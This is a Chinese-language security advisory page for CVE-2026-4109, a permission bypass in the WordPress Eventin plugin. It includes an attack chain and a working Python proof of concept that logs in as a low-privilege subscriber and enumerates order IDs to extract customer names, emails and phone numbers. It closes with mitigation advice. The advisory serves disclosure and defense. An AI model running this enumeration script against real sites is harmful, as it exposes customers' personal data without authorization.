IPBUF安全漏洞报告
English
CVE-2026-4109 CVSS 4.3 中危

CVE-2026-4109 WordPress Eventin插件权限绕过致信息泄露

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-4109
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Eventin – Events Calendar, Event Booking, Ticket & Registration (AI Powered)

相关标签

权限绕过信息泄露WordPressEventinCVE-2026-4109

漏洞概述

WordPress插件Eventin在4.1.8及以下版本中存在权限绕过漏洞。该漏洞源于`get_item_permissions_check()`函数未正确验证用户权限。经过身份验证的攻击者,即便仅有订阅者级别权限,也能通过枚举订单ID读取任意订单数据,导致客户PII信息泄露。

技术细节

该漏洞核心在于Eventin插件REST API端点的权限校验逻辑缺失。在处理获取订单详情的请求时,`get_item_permissions_check()`函数未对当前用户是否具备查看特定订单的权限进行有效检查(如缺少`current_user_can`验证)。正常情况下,查看订单应仅限于管理员或订单所有者。由于此缺陷,任何已登录用户均可向`/wp-json/eventin/v1/orders/{id}`发送请求。攻击者利用此漏洞,通过脚本遍历订单ID,即可绕过前端限制,直接从后端数据库获取包含姓名、邮箱、电话等敏感PII信息的完整订单数据。

攻击链分析

STEP 1
获取低权限账户
在目标WordPress站点注册或获取一个订阅者(Subscriber)级别的账户。
STEP 2
构造枚举请求
使用该账户登录,利用脚本向`/wp-json/eventin/v1/orders/{id}`接口发送GET请求,并递增ID参数。
STEP 3
窃取敏感数据
分析服务器响应,提取返回的JSON数据中的客户姓名、邮箱、电话等PII信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration base_url = "http://target-site.com" api_endpoint = base_url + "/wp-json/eventin/v1/orders/{}" # Authenticate with a low-privilege user (Subscriber level) session = requests.Session() login_payload = { "log": "subscriber_user", # Low privilege username "pwd": "password", # Password "redirect_to": "", "wp-submit": "Log In", "testcookie": "1" } # Perform login session.post(base_url + "/wp-login.php", data=login_payload) # Iterate through potential Order IDs to leak data for order_id in range(1, 100): response = session.get(api_endpoint.format(order_id)) if response.status_code == 200: data = response.json() # Check if valid order data is returned if 'id' in data: print(f"[+] Leaked Order ID {order_id}:") print(f" Name: {data.get('billing', {}).get('first_name')} {data.get('billing', {}).get('last_name')}") print(f" Email: {data.get('billing', {}).get('email')}") print(f" Phone: {data.get('billing', {}).get('phone')}") elif response.status_code == 401 or response.status_code == 403: # Stop if permission is actually denied (though unlikely in this vuln) print("[-] Permission denied or session expired.") break elif response.status_code == 404: # Order ID does not exist, continue continue

影响范围

Eventin <= 4.1.8

防御指南

临时缓解措施
建议立即将Eventin插件更新至最新版本以修复漏洞。若无法立即更新,应暂时限制普通用户访问WordPress REST API,或通过Web应用防火墙(WAF)拦截针对`/wp-json/eventin/v1/orders/`路径的非管理员请求,防止数据被非法读取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表